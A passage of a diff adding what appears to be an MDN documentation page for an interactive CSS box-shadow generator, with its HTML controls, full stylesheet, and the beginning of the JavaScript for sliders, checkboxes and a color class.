+                        &lt;div class="ui-slider-input" data-topic="rotate" data-unit="deg"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Width &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="width"  data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Height &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="height" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div id="menu" class="menu"&gt;&lt;/div&gt;
+                &lt;div class="title"&gt;    Code CSS &lt;/div&gt;
+                &lt;div class="group" style="border-top-left-radius: 0;"&gt;
+                    &lt;div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input &gt; input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox &gt; label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox &gt; input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left &gt; * {
+	float: left;
+}
+
+.wrap-right &gt; * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview &gt; * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] &gt; span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] &gt; span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] &gt; input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">
+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value &lt;= max &amp;&amp; value &gt;= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step &lt;= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step &gt;= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos &lt; 0) pos = 0;
+		if (pos &gt; width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision &gt; this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value &gt; slider.max || value &lt; slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
